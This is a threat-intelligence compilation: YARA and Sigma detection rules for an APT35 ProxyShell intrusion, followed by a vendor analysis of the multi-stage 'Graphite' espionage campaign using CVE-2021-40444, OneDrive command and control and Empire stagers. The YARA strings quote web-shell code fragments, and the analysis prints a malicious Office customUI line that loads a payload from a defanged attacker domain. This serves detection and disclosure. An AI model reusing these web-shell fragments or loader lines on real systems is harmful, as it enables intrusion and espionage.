+Windows Shell Spawning Suspicious Program 
+https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/
+rules/windows/process_creation/win_shell_spawn_susp_program.yml
+Windows Suspicious Use Of Web Request in CommandLine 
+https://github.com/SigmaHQ/sigma/blob/98d7380a40d503ffd225420f7318b79d9f5097b8
+/rules/windows/process_creation/process_creation_susp_web_request_cmd.yml
+Windows Webshell Creation 
+https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/
+rules/windows/file_event/sysmon_webshell_creation_detect.yml
+Yara
+17/22
+rule files_dhvqx {
+meta:
+description = "9893_files - file dhvqx.aspx"
+author = "TheDFIRReport"
+reference = "https://thedfirreport.com/2022/03/21/apt35-automates-initialaccess-using-proxyshell/"
+date = "2022-03-21"
+hash1 = "c5aae30675cc1fd83fd25330cec245af744b878a8f86626d98b8e7fcd3e970f8"
+strings:
+$s1 = "eval(Request['exec_code'],'unsafe');Response.End;" fullword ascii
+$s2 = "6<script language='JScript' runat='server'>" fullword ascii
+$s3 = "AEALAAAAAAAAAAA" fullword ascii
+$s4 = "AFAVAJA" fullword ascii
+$s5 = "AAAAAAV" fullword ascii
+$s6 = "LAAAAAAA" fullword ascii
+$s7 = "ANAZAQA" fullword ascii
+$s8 = "ALAAAAA" fullword ascii
+$s9 = "AAAAAEA" ascii
+$s10 = "ALAHAUA" fullword ascii
+condition:
+uint16(0) == 0x4221 and filesize < 800KB and
+($s1 and $s2) and 4 of them
+rule aspx_dyukbdcxjfi {
+meta:
+description = "9893_files - file aspx_dyukbdcxjfi.aspx"
+author = "TheDFIRReport"
+reference = "https://thedfirreport.com/2022/03/21/apt35-automates-initialaccess-using-proxyshell/"
+date = "2022-03-21"
+hash1 = "84f77fc4281ebf94ab4897a48aa5dd7092cc0b7c78235965637eeef0908fb6c7"
+strings:
+$s1 = "string[] commands = exec_code.Substring(\"run \".Length).Split(new[] {
+';' }, StringSplitOptions.RemoveEmpty" ascii
+$s2 = "string[] commands = exec_code.Substring(\"run \".Length).Split(new[] {
+';' }, StringSplitOptions.RemoveEmpty" ascii
+$s3 = "var dstFile = Path.Combine(dstDir,
+Path.GetFileName(httpPostedFile.FileName));" fullword ascii
+$s4 = "info.UseShellExecute = false;" fullword ascii
+$s5 = "using (StreamReader streamReader = process.StandardError)" fullword
+ascii
+$s6 = "return httpPostedFile.FileName + \" Uploaded to: \" + dstFile;" fullword
+ascii
+$s7 = "else if (exec_code.StartsWith(\"download \"))" fullword ascii
+$s8 = "string[] parts = exec_code.Substring(\"download \".Length).Split(' ');"
+fullword ascii
+$s9 = "Response.AppendHeader(\"Content-Disposition\", \"attachment; filename=\"
++ fileName);" fullword ascii
+$s10 = "result = result + Environment.NewLine + \"ERROR:\" +
+Environment.NewLine + error;" fullword ascii
+$s11 = "else if (exec_code == \"get\")" fullword ascii
+$s12 = "int fileLength = httpPostedFile.ContentLength;" fullword ascii
+condition:
+18/22
+uint16(0) == 0x4221 and filesize < 800KB and
+8 of them
+rule files_user {
+meta:
+description = "9893_files - file user.exe"
+author = "TheDFIRReport"
+reference = "https://thedfirreport.com/2022/03/21/apt35-automates-initialaccess-using-proxyshell/"
+date = "2022-03-21"
+hash1 = "7b5fbbd90eab5bee6f3c25aa3c2762104e219f96501ad6a4463e25e6001eb00b"
+strings:
+$x1 = "PA<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>
+<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVer" ascii
+$s2 = "\", or \"requireAdministrator\" --> <v3:requestedExecutionLevel
+level=\"requireAdministrator\" /> </v3:requestedPrivileges> </v3" ascii
+$s3 = "-InitOnceExecuteOnce" fullword ascii
+$s4 = "0\"> <dependency> <dependentAssembly> <assemblyIdentity type=\"win32\"
+name=\"Microsoft.Windows.Common-Controls\" version=\"6.0." ascii
+$s5 = "s:v3=\"urn:schemas-microsoft-com:asm.v3\"> <v3:security>
+<v3:requestedPrivileges> <!-- level can be \"asInvoker\", \"highestAvai" ascii
+$s6 = "PB_GadgetStack_%I64i" fullword ascii
+$s7 = "PB_DropAccept" fullword ascii
+$s8 = "rocessorArchitecture=\"*\" publicKeyToken=\"6595b64144ccf1df\"
+language=\"*\" /> </dependentAssembly> </dependency> <v3:trustInf" ascii
+$s9 = "PB_PostEventMessage" fullword ascii
+$s10 = "PB_WindowID" fullword ascii
+$s11 = "?GetLongPathNameA" fullword ascii
+$s12 = "Memory page error" fullword ascii
+$s13 = "PPPPPPH" fullword ascii
+$s14 = "YZAXAYH" fullword ascii
+$s15 = "%d:%I64d:%I64d:%I64d" fullword ascii
+$s16 =
+"NGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPAD
+ascii
+$s17 = "PYZAXAYH" fullword ascii
+$s18 = "PB_MDI_Gadget" fullword ascii
+$s19 = "PA<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>
+<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVer" ascii
+$s20 = " 46B722FD25E69870FA7711924BC5304D 787242D55F2C49A23F5D97710D972108
+A2DB26CE3BBE7B2CB12F9BEFB37891A3" fullword wide
+condition:
+uint16(0) == 0x5a4d and filesize < 300KB and
+1 of ($x*) and 4 of them
+rule task_update {
+meta:
+description = "9893_files - file task_update.exe"
+author = "TheDFIRReport"
+reference = "https://thedfirreport.com/2022/03/21/apt35-automates-initialaccess-using-proxyshell/"
+19/22
+date = "2022-03-21"
+hash1 = "12c6da07da24edba13650cd324b2ad04d0a0526bb4e853dee03c094075ff6d1a"
+strings:
+$x1 = "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?> <assembly
+xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersi" ascii
+$s2 = " or \"requireAdministrator\" --> <v3:requestedExecutionLevel
+level=\"requireAdministrator\" /> </v3:requestedPrivileges> </v3:se" ascii
+$s3 = "-InitOnceExecuteOnce" fullword ascii
+$s4 = "> <dependency> <dependentAssembly> <assemblyIdentity type=\"win32\"
+name=\"Microsoft.Windows.Common-Controls\" version=\"6.0.0.0" ascii
+$s5 = "v3=\"urn:schemas-microsoft-com:asm.v3\"> <v3:security>
+<v3:requestedPrivileges> <!-- level can be \"asInvoker\", \"highestAvaila" ascii
+$s6 = "PB_GadgetStack_%I64i" fullword ascii
+$s7 = "PB_DropAccept" fullword ascii
+$s8 = "PB_PostEventMessage" fullword ascii
+$s9 = "PB_WindowID" fullword ascii
+$s10 = "?GetLongPathNameA" fullword ascii
+$s11 = "cessorArchitecture=\"*\" publicKeyToken=\"6595b64144ccf1df\"
+language=\"*\" /> </dependentAssembly> </dependency> <v3:trustInfo " ascii
+$s12 = "Memory page error" fullword ascii
+$s13 = "PPPPPPH" fullword ascii
+$s14 = "YZAXAYH" fullword ascii
+$s15 = "%d:%I64d:%I64d:%I64d" fullword ascii
+$s16 = "PYZAXAYH" fullword ascii
+$s17 = "PB_MDI_Gadget" fullword ascii
+$s18 = "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?> <assembly
+xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersi" ascii
+$s19 = " 11FCC18FB2B55FC3C988F6A76FCF8A2D 56D49E57AD1A051BF62C458CD6F3DEA9
+6104990DFEA3DFAB044FAF960458DB09" fullword wide
+$s20 = "PostEventClass" fullword ascii
+condition:
+uint16(0) == 0x5a4d and filesize < 300KB and
+1 of ($x*) and 4 of them
+rule App_Web_vjloy3pa {
+meta:
+description = "9893_files - file App_Web_vjloy3pa.dll"
+author = "TheDFIRReport"
+reference = "https://thedfirreport.com/2022/03/21/apt35-automates-initialaccess-using-proxyshell/"
+date = "2022-03-21"
+hash1 = "faa315db522d8ce597ac0aa957bf5bde31d91de94e68d5aefac4e3e2c11aa970"
+strings:
+$x2 = "hSystem.ComponentModel.DataAnnotations, Version=4.0.0.0,
+Culture=neutral, PublicKeyToken=31bf3856ad364e35" fullword ascii
+$s3 = "MSystem.Xml, Version=4.0.0.0, Culture=neutral,
+PublicKeyToken=b77a5c561934e089" fullword ascii
+$s4 = "RSystem.Xml.Linq, Version=4.0.0.0, Culture=neutral,
+PublicKeyToken=b77a5c561934e089" fullword ascii
+$s5 = "ZSystem.ServiceModel.Web, Version=4.0.0.0, Culture=neutral,
+PublicKeyToken=31bf3856ad364e35" fullword ascii
+$s6 = "YSystem.Web.DynamicData, Version=4.0.0.0, Culture=neutral,
+PublicKeyToken=31bf3856ad364e35" fullword ascii
+20/22
+$s7 = "XSystem.Web.Extensions, Version=4.0.0.0, Culture=neutral,
+PublicKeyToken=31bf3856ad364e35" fullword ascii
+$s8 = "VSystem.Web.Services, Version=4.0.0.0, Culture=neutral,
+PublicKeyToken=b03f5f7f11d50a3a" fullword ascii
+$s9 = "MSystem.Web, Version=4.0.0.0, Culture=neutral,
+PublicKeyToken=b03f5f7f11d50a3a" fullword ascii
+$s10 = "WSystem.Configuration, Version=4.0.0.0, Culture=neutral,
+PublicKeyToken=b03f5f7f11d50a3a" fullword ascii
+$s11 = "`System.Data.DataSetExtensions, Version=4.0.0.0, Culture=neutral,
+PublicKeyToken=b77a5c561934e089" fullword ascii
+$s12 = "NSystem.Core, Version=4.0.0.0, Culture=neutral,
+PublicKeyToken=b77a5c561934e089" fullword ascii
+$s13 = "ZSystem.WorkflowServices, Version=4.0.0.0, Culture=neutral,
+PublicKeyToken=31bf3856ad364e35" fullword ascii
+$s14 = "WSystem.IdentityModel, Version=4.0.0.0, Culture=neutral,
+PublicKeyToken=b77a5c561934e089" fullword ascii
+$s15 = "aSystem.ServiceModel.Activation, Version=4.0.0.0, Culture=neutral,
+PublicKeyToken=31bf3856ad364e35" fullword ascii
+$s16 =
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+wide /* base64 encoded string '' */
+$s17 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" wide /* base64
+encoded string '' */
+$s18 = "aSystem.Web.ApplicationServices, Version=4.0.0.0, Culture=neutral,
+PublicKeyToken=31bf3856ad364e35" fullword ascii
+$s19 = "\\System.EnterpriseServices, Version=4.0.0.0, Culture=neutral,
+PublicKeyToken=b03f5f7f11d50a3a" fullword ascii
+$s20 = "SMicrosoft.CSharp, Version=4.0.0.0, Culture=neutral,
+PublicKeyToken=b03f5f7f11d50a3a" fullword ascii
+condition:
+uint16(0) == 0x5a4d and filesize < 2000KB and
+1 of ($x*) and 4 of them
+rule _user_task_update_0 {
+meta:
+description = "9893_files - from files user.exe, task_update.exe"
+author = "TheDFIRReport"
+reference = "https://thedfirreport.com/2022/03/21/apt35-automates-initialaccess-using-proxyshell/"
+date = "2022-03-21"
+hash1 = "7b5fbbd90eab5bee6f3c25aa3c2762104e219f96501ad6a4463e25e6001eb00b"
+hash2 = "12c6da07da24edba13650cd324b2ad04d0a0526bb4e853dee03c094075ff6d1a"
+strings:
+$s1 = "-InitOnceExecuteOnce" fullword ascii
+$s2 = "PB_GadgetStack_%I64i" fullword ascii
+$s3 = "PB_DropAccept" fullword ascii
+$s4 = "PB_PostEventMessage" fullword ascii
+$s5 = "PB_WindowID" fullword ascii
+$s6 = "?GetLongPathNameA" fullword ascii
+$s7 = "Memory page error" fullword ascii
+$s8 = "PPPPPPH" fullword ascii
+$s9 = "YZAXAYH" fullword ascii
+$s10 = "%d:%I64d:%I64d:%I64d" fullword ascii
+21/22
+$s11 = "PYZAXAYH" fullword ascii
+$s12 = "PB_MDI_Gadget" fullword ascii
+$s13 = "PostEventClass" fullword ascii
+$s14 = "t$hYZAXAYH" fullword ascii
+$s15 = "$YZAXAYH" fullword ascii
+$s16 = "Floating-point underflow (exponent too small)" fullword ascii
+$s17 = "Inexact floating-point result" fullword ascii
+$s18 = "Single step trap" fullword ascii
+$s19 = "Division by zero (floating-point)" fullword ascii
+$s20 = "tmHcI(H" fullword ascii
+condition:
+( uint16(0) == 0x5a4d and filesize < 300KB and ( 8 of them )
+) or ( all of them )
+MITRE
+Exploit Public-Facing Application 
+ T1190
+OS Credential Dumping 
+ T1003
+Account Manipulation 
+ T1098
+Valid Accounts 
+ T1078
+Ingress Tool Transfer 
+ T1105
+Match Legitimate Name or Location 
+ T1036.005
+Windows Service 
+ T1543.003
+Web Shell 
+ T1505.003
+System Information Discovery 
+ T1082
+System Network Configuration Discovery 
+ T1016
+System Owner/User Discovery 
+ T1033
+Windows Command Shell 
+ T1059.003
+Internal case #9893
+22/22
+Prime Minister
+s Office Compromised: Details of Recent
+Espionage Campaign
+trellix.com/en-gb/about/newsroom/stories/threat-labs/prime-ministers-office-compromised.html
+By Marc Elias 
+ January 25, 2022
+A special thanks to Christiaan Beek, Alexandre Mundo, Leandro Velasco and Max Kersten for
+malware analysis and support during this investigation.
+Executive Summary
+Our Advanced Threat Research Team have identified a multi-stage espionage campaign
+targeting high-ranking government officials overseeing national security policy and
+individuals in the defense industry in Western Asia. As we detail the technical components of
+this attack, we can confirm that we have undertaken pre-release disclosure to the victims and
+provided all necessary content required to remove all known attack components from their
+environments.
+The infection chain starts with the execution of an Excel downloader, most likely sent to the
+victim via email, which exploits an MSHTML remote code execution vulnerability (CVE2021-40444) to execute a malicious executable in memory. The attack uses a follow-up piece
+of malware called Graphite because it uses Microsoft
+s Graph API to leverage OneDrive as a
+command and control server
+a technique our team has not seen before. Furthermore, the
+attack was split into multiple stages to stay as hidden as possible.
+Command and control functions used an Empire server that was prepared in July 2021, and
+the actual campaign was active from October to November 2021. The below blog will explain
+the inner workings, victimology, infrastructure and timeline of the attack and, of course,
+reveal the IOCs and MITRE ATT&CK techniques.
+A number of the attack indicators and apparent geopolitical objectives resemble those
+associated with the previously uncovered threat actor APT28. While we don
+t believe in
+attributing any campaign solely based on such evidence, we have a moderate level of
+confidence that our assumption is accurate. That said, we are supremely confident that we
+are dealing with a very skilled actor based on how infrastructure, malware coding and
+operation were setup.
+Trellix customers are protected by the different McAfee Enterprise and FireEye products that
+were provided with these indicators.
+Analysis of the Attack Process
+1/23
+This section provides an analysis of the overall process of the attack, beginning with the
+execution of an Excel file containing an exploit for the MSHTML remote code execution
+vulnerability (CVE-2021-40444) vulnerability. This is used to execute a malicious DLL file
+acting as a downloader for the third stage malware we called Graphite. Graphite is a newly
+discovered malware sample based on a OneDrive Empire Stager which leverages OneDrive
+accounts as a command and control server via the Microsoft Graph API.
+The last phases of this multi-stage attack, which we believe is associated with an APT
+operation, includes the execution of different Empire stagers to finally download an Empire
+agent on victims
+ computers and engage the command and control server to remotely control
+the systems.
+The following diagram shows the overall process of this attack.
+Figure 1. Attack flow
+First Stage 
+ Excel Downloaders
+As suggested, the first stage of the attack likely uses a spear phishing email to lure victims
+into opening an Excel file, which goes by the name 
+parliament_rew.xlsx
+. Below you can see
+the identifying information for this file:
+File type
+Excel Microsoft Office Open XML Format document
+File name
+parliament_rew.xlsx
+File size
+19.26 KB
+Compilation
+time
+05/10/2021
+8e2f8c95b1919651fcac7293cb704c1c
+SHA-256
+f007020c74daa0645b181b7b604181613b68d195bd585afd71c3cd5160fb8fc4
+2/23
+Figure 2. Decoy text observed in the Excel file
+In analyzing this file
+s structure, we observed that it includes a folder named 
+customUI
+ that
+contains a file named 
+customUI.xml
+. Opening this file with a text editor, we observed that
+the malicious document uses the 
+CustomUI.OnLoad
+ property of the OpenXML format to
+load an external file from a remote server:
+<customUI xmlns="http://schemas.microsoft.com/office/2006/01/customui"
+onLoad='https://wordkeyvpload[.]net/keys/parliament_rew.xls!123'> </customUI>
+This technique allows the attackers to bypass some antivirus scanning engines and office
+analysis tools, decreasing the chances of the documents being detected.
+The downloaded file is again an Excel spreadsheet, but this time it is saved using the old
+Microsoft Office Excel 97-2003 Binary File Format (.xls). Below you can see the identifying
+information of the file:
+File type
+Microsoft Office Excel 97-2003 Binary File Format
+File name
+parliament_rew.xls
+File size
+20.00 KB
+Compilation
+time
+05/10/2021
+abd182f7f7b36e9a1ea9ac210d1899df
+SHA-256
+7bd11553409d635fe8ad72c5d1c56f77b6be55f1ace4f77f42f6bfb4408f4b3a
+Analyzing the metadata objects, we can identify that the creator was using the codepage 1252
+used in Western European countries and the file was created on October 5th, 2021.
+3/23
+Figure 3. Document metadata
+Later, we analyzed the OLE objects in the document and discovered a Linked Object
+OLEStream Structure which contains a link to the exploit of the CVE-2021-40444
+vulnerability hosted in the attackers
+ server. This allows the document to automatically
+download the HTML file and subsequently call the Internet Explorer engine to interpret it,
+triggering the execution of the exploit.
+Figure 4. Remote link in OLE object
+In this blog post we won
+t examine the internals of the CVE-2021-40444 vulnerability as it
+has already been publicly explained and discussed. Instead, we will continue the analysis on
+the second stage DLL contained in the CAB file of the exploit.
+Second Stage 
+ DLL Downloader
+The second stage is a DLL executable named fontsubc.dll which was extracted from the CAB
+file used in the exploit mentioned before. You can see the identifying information of the file
+below:
+File type
+PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit
+4/23
+File name
+fontsubc.dll
+File size
+88.50 KB
+Compilation
+time
+28/09/2021
+81de02d6e6fca8e16f2914ebd2176b78
+SHA-256
+1ee602e9b6e4e58dfff0fb8606a41336723169f8d6b4b1b433372bf6573baf40
+This file exports a function called 
+CPlApplet
+ that Windows recognizes as a control panel
+application. Primarily, this acts a downloader for the next stage malware which is located at
+hxxps://wordkeyvpload[.]net/keys/update[.]dat using COM Objects and the API
+URLOpenBlockingStreamW
+Figure 5. Download of next stage malware
+After downloading the file, the malware will decrypt it with an embedded RSA Public Key and
+check its integrity calculating a SHA-256 of the decrypted payload. Lastly, the malware will
+allocate virtual memory, copy the payload to it and execute it.
+5/23
+Figure 6. Payload decryption and execution
+Before executing the downloaded payload, the malware will compare the first four bytes with
+the magic value DE 47 AC 45 in hexadecimal; if they are different, it won
+t execute the
+payload.
+Figure 7. Malware magic value
+Third Stage 
+ Graphite Malware
+The third stage is a DLL executable, never written to disk, named dfsvc.dll that we were able
+to extract from the memory of the previous stage. Below you can see the identifying
+information of the file:
+File type
+PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit
+File name
+dfsvc.dll
+File size
+24.00 KB
+6/23
+Compilation
+time
+20/09/2021
+0ff09c344fc672880fdb03d429c7bda4
+SHA-256
+f229a8eb6f5285a1762677c38175c71dead77768f6f5a6ebc320679068293231
+We named this malware Graphite due to the use of the Microsoft Graph API to use OneDrive
+as command and control. It is very likely that the developers of Graphite used the Empire
+OneDrive Stager as a reference due to the similarities of the functionality and the file
+structure used in the OneDrive account of the actors.
+Figure 8. Empire OneDrive stager API requests
+Graphite starts by creating a mutex with the hardcoded name
+250gHJAWUI289382s3h3Uasuh289di
+ to avoid double executions, decrypt the strings and
+resolve dynamically the APIs it will use later. Moreover, it will calculate a bot identifier to
+identify the infected computer which is a CRC32 checksum of the value stored in the registry
+key 
+HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Cryptography\MachineGuid
+Figure 9. Graphite initializations
+Next, the malware will create a thread to monitor the execution of tasks and upload its results
+to the OneDrive account. Result files will be uploaded to the 
+update
+ folder of the attackers
+OneDrive account.
+7/23
+Figure 10. Thread to monitor task results
+After that, the malware will enter into an infinite loop where every 20 minutes it will obtain a
+new OAuth2 token to use with the Microsoft Graph API requests and determine if there are
+new tasks to execute in the 
+check
+ folder of the attackers
+ OneDrive account.
+Figure 11. Request of new OAuth2 token
+Once it obtained a valid OAuth2 token, reconnaissance data is gathered containing the
+following information from the victims
+ systems:
+Running processes
+.NET CLR version from PowerShell
+8/23
+Windows OS version
+The data is compressed using the LZNT1 algorithm and encrypted with a hardcoded AES256-CBC key with a random IV. The operator tasks are encoded in the same way. Finally, the
+file containing the system information is uploaded to the folder 
+{BOT_ID}/update
+OneDrive with a random name.
+Figure 12. Graphite encoding data
+Graphite will also query for new commands by enumerating the child files in the "check"
+subdirectory. If a new file is found, it will use the Graph API to download the content of the
+file and decrypt it. The decrypted tasks have two fields; the first one is a unique identifier of
+the task and the second one specifies the command to execute.
+The command value 
+ will instruct the malware to send the system information to the
+command and control again, which is the attackers
+ OneDrive. The command value 
+indicates that the decrypted task is a shellcode, and the malware will create a thread to
+execute it.
+9/23
+Figure 13. Graphite commands
+If the received task is a shellcode, it will check the third field with the magic value DE 47 AC
+45 in hexadecimal and, if they are different, it won
+t execute the payload. The rest of the bytes
+of the task is the shellcode that will be executed. Lastly, the task files are deleted from the
+OneDrive after being processed.
+Figure 14. Decrypted operator task
+The diagram below summarizes the flow of the Graphite malware.
+10/23
+Figure 15. Graphite execution diagram
+Fourth Stage 
+ Empire DLL Launcher Stager
+The fourth stage is a dynamic library file named csiresources.dll that we were able to extract
+from a task from the previous stage. The file was embedded into a Graphite shellcode task
+used to reflectively load the executable into the memory of the process and execute it. Below
+you can see the identifying information of the file:
+File type
+PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit
+File name
+csiresources.dll
+File size
+111.00 KB
+Compilation
+time
+21/09/2021
+138122869fb47e3c1a0dfe66d4736f9b
+SHA-256
+25765faedcfee59ce3f5eb3540d70f99f124af4942f24f0666c1374b01b24bd9
+11/23
+The sample is a generated Empire DLL Launcher stager that will initialize and start the .NET
+CLR Runtime into an unmanaged process to execute a download-cradle to stage an Empire
+agent. With that, it is possible to run the Empire agent in a process that
+s not PowerShell.exe.
+First, the malware will check if the malware is executing from the explorer.exe process. If it is
+not, the malware will exit.
+Figure 16. Process name check
+Next, the malware will try to find the file 
+EhStorShell.dll
+ in the System32 folder and load it.
+With this, the malware makes sure that the original 
+EhStorShell.dll
+ file is loaded into the
+explorer.exe context.
+Figure 17. Loading EhStorShell.dll library
+The previous operation is important because the follow-up malware will override the CLSID
+{D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D}
+ to gain persistence in the victims
+system, performing a COM Hijacking technique. The aforementioned CLSID corresponds to
+the 
+Enhanced Storage Shell Extension DLL
+ and is handled by the file 
+EhStorShell.dll
+Coming up next, the malware will load, initialize and start the .NET CLR Runtime, XOR
+decrypt the .NET next stage payload and load it into memory. Lastly, it will execute the file
+using the .NET Runtime.
+Figure 18. Decryption of next stage malware
+12/23
+Fifth Stage 
+ Empire PowerShell C# Stager
+The fifth stage is a .NET executable named Service.exe which was embedded and encrypted
+in the previous stage. Below you can see the identifying information of the file:
+File type
+PE32 executable for MS Windows (console) Intel 80386 32-bit
+File size
+34.00 KB
+3b27fe7b346e3dabd08e618c9674e007
+SHA-256
+d5c81423a856e68ad5edaf410c5dfed783a0ea4770dbc8fb4943406c316a4317
+This sample is an Empire PowerShell C# Stager whose main goal is to create an instance of a
+PowerShell object, decrypt the embedded PowerShell script using XOR operations and
+decode it with Base64 before finally executing the payload with the Invoke function.
+Figure 19. Fifth stage code
+The reason behind using a .NET executable to load and execute PowerShell code is to bypass
+security measures like AMSI, allowing execution from a process that shouldn
+t allow it.
+Sixth Stage 
+ Empire HTTP PowerShell Stager
+The last stage is a PowerShell script, specifically an Empire HTTP Stager, which was
+embedded and encrypted in the previous stage. Below you can see the identifying
+information of the file:
+File type
+Powershell script
+File size
+6.00 KB
+a81fab5cf0c2a1c66e50184c38283e0e
+SHA-256
+da5a03bd74a271e4c5ef75ccdd065afe9bd1af749dbcff36ec7ce58bf7a7db37
+13/23
+As we mentioned earlier, this is the last stage of the multi-stage attack and is an HTTP stager
+highly obfuscated using the Invoke-Obfuscation script from Empire to make analysis
+difficult.
+Figure 20. Obfuscated PowerShell script
+The main functionality of the script is to contact hxxp://wordkeyvpload[.]org/index[.]jsp to
+send the initial information about the system and connect to the URL
+hxxp://wordkeyvpload[.]org/index[.]php to download the encrypted Empire agent, decrypt
+it with AES-256 and execute it.
+Timeline of Events
+Based on all the activities monitored and analyzed, we provide the following timeline of
+events:
+Figure 21. Timeline of the campaign
+Targeting
+One of the lure documents we mentioned before (named 
+parliament_rew.xlsx
+) might have
+been aimed for targeting government employees.
+Besides targeting government entities, it appears this adversary also has its sights on the
+defense industry. Another document with the name 
+Missions Budget.xlsx
+ contained the
+text 
+Military and civilian missions and operations
+ and the budgets in dollars for the
+military operations in some countries for the years 2022 and 2023.
+14/23
+Figure 22. Lure document targeting the defense sector
+Moreover, from our telemetry we also have observed that Poland and other Eastern
+European countries were of interest to the actors behind this campaign.
+The complete victimology of the actors is unknown, but the lure documents we have seen
+show its activities are centered in specific regions and industries. Based on the names, the
+content of the malicious Excel files and our telemetry, it seems the actors are targeting
+countries in Eastern Europe and the most prevalent industries are Defense and Government.
+Infrastructure
+Thanks to the analysis of the full attack chain, two hosts related to the attack were identified.
+The first domain is wordkeyvpload.net which resolves to the IP 131.153.96.114, located in
+Serbia and registered on the 7th of July 2021 with OwnRegistrar Inc.
+Querying the IP with a reverse DNS lookup tool, a PTR record was obtained resolving to the
+domain 
+bwh7196.bitcoinwebhosting.net
+ which could be an indication that the server was
+bought from the Bitcoin Web Hosting VPS reseller company.
+Figure 23. Reverse DNS query
+The main functionality of this command-and-control server is to host the HTML exploit for
+CVE-2021-40444 and the CAB file containing the second stage DLL.
+The second domain identified is wordkeyvpload.org which resolves to the IP 185.117.88.19,
+located in Sweden, and registered on the 18th of June 2021 with Namecheap Inc. Based on
+the operating system (Microsoft Windows Server 2008 R2), the HTTP server (Microsoft-
+15/23
+IIS/7.5) and the open ports (1337 and 5000) it is very likely the host is running the latest
+version of the Empire post-exploitation framework.
+The reason behind that hypothesis is that the default configuration of Empire servers uses
+port 1337 to host a RESTful API and port 5000 hosts a SocketIO interface to interact
+remotely with the server. Also, when deploying a HTTP Listener, the default value for the
+HTTP Server field is hardcoded to 
+Microsoft-IIS/7.5
+Figure 24. Local Empire server execution with default configuration
+With the aforementioned information, as well as the extraction of the command and control
+from the last stage of the malware, we can confirm that this host acts as an Empire server
+used to remotely control the agents installed in victims
+ machines and send commands to
+execute them.
+Attribution
+During the timeline of this operation there have been some political tensions around the
+Armenian and Azerbaijani border. Therefore, from a classic intelligence operation point of
+view, it would make complete sense to infiltrate and gather information to assess the risk and
+movements of the different parties involved.
+16/23
+Throughout our research into the Graphite campaign, we extracted all timestamps of activity
+from the attackers from our telemetry and found two consistent trends. First, the activity
+days of the adversary are from Monday to Friday, as depicted in the image below:
+Figure 25. Adversary
+s working days
+Second, the activity timestamps correspond to normal business hours (from 08h to 18h) in
+the GMT+3 time zone, which includes Moscow Time, Turkey Time, Arabia Standard Time
+and East Africa Time.
+17/23
+Figure 26. Adversary
+s working hours
+Another interesting discovery during the investigation was that the attackers were using the
+CLSID (D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D) for persistence, which matched
+with an ESET report in which researchers mentioned a Russian Operation targeting Eastern
+European countries.
+Analyzing and comparing code-blocks and sequences from the graphite malware with our
+database of samples, we discovered overlap with samples in 2018 being attributed to APT28.
+We compared for example our samples towards this one:
+5bb9f53636efafdd30023d44be1be55bf7c7b7d5 (sha1):
+18/23
+Figure 27 Code comparison of samples
+When we zoom in on some of the functions, we observe on the left side of the below picture
+the graphite sample and on the right the forementioned 2018 sample. With almost three
+years in time difference, it makes sense that code is changed, but still it looks like the
+programmer was happy with some of the previous functions:
+19/23
+Figure 28 Similar function flow
+Although we mentioned some tactics, techniques and procedures (TTPs) of the actors behind
+this campaign, we simply do not have enough context, similarities or overlap to point us with
+low/moderate confidence towards APT28, let alone a nation-state sponsor. However, we
+believe we are dealing with a skilled actor based on how the infrastructure, malware coding
+and operation was setup.
+Conclusion
+The analysis of the campaign described in this blog post allowed us to gather insights into a
+multi-staged attack performed in early October, leveraging the MSHTML remote code
+execution vulnerability (CVE-2021-40444) to target countries in Eastern Europe.
+As seen in the analysis of the Graphite malware, one quite innovative functionality is the use
+of the OneDrive service as a Command and Control through querying the Microsoft Graph
+API with a hardcoded token in the malware. This type of communication allows the malware
+to go unnoticed in the victims
+ systems since it will only connect to legitimate Microsoft
+domains and won
+t show any suspicious network traffic.
+Thanks to the analysis of the full attack process, we were able to identify new infrastructure
+acting as command and control from the actors and the final payload, which is an agent from
+the post-exploitation framework Empire. All the above allowed us to construct a timeline of
+the activity observed in the campaign.
+The actors behind the attack seem very advanced based on the targeting, the malware and the
+infrastructure used in the operation, so we presume that the main goal of this campaign is
+espionage. With a low and moderate confidence, we believe this operation was executed by
+APT28. To further investigate, we provided some tactics, techniques and procedures (TTPs),
+indicators on the infrastructure, targeting and capabilities to detect this campaign.
+MITRE ATT&CK Techniques
+Tactic
+Resource
+Development
+T1583.001
+Acquire
+Infrastructure:
+Domains
+Attackers purchased
+domains to be used
+as a command and
+control.
+wordkeyvpload[.]net
+wordkeyvpload[.]org
+Resource
+Development
+T1587.001
+Develop
+capabilities:
+Malware
+Attackers built
+malicious
+components to
+conduct their attack.
+Graphite malware
+20/23
+Resource
+Development
+T1588.002
+Develop
+capabilities:
+Tool
+Attackers employed
+red teaming tools to
+conduct their attack.
+Empire
+Initial Access
+T1566.001
+Phishing:
+Spear phishing
+Attachment
+Adversaries sent
+spear phishing
+emails with a
+malicious
+attachment to gain
+access to victim
+systems.
+BMD(2021)0247.xlsx
+Execution
+T1203
+Exploitation for
+Client
+Execution
+Adversaries
+exploited a
+vulnerability in
+Microsoft Office to
+execute code.
+CVE-2021-40444
+Execution
+T1059.001
+Command and
+Scripting
+Interpreter:
+PowerShell
+Adversaries abused
+PowerShell for
+execution of the
+Empire stager.
+Empire Powershell
+stager
+Persistence
+T1546.015
+Event
+Triggered
+Execution:
+Component
+Object Model
+Hijacking
+Adversaries
+established
+persistence by
+executing malicious
+content triggered by
+hijacked references
+to Component
+Object Model (COM)
+objects.
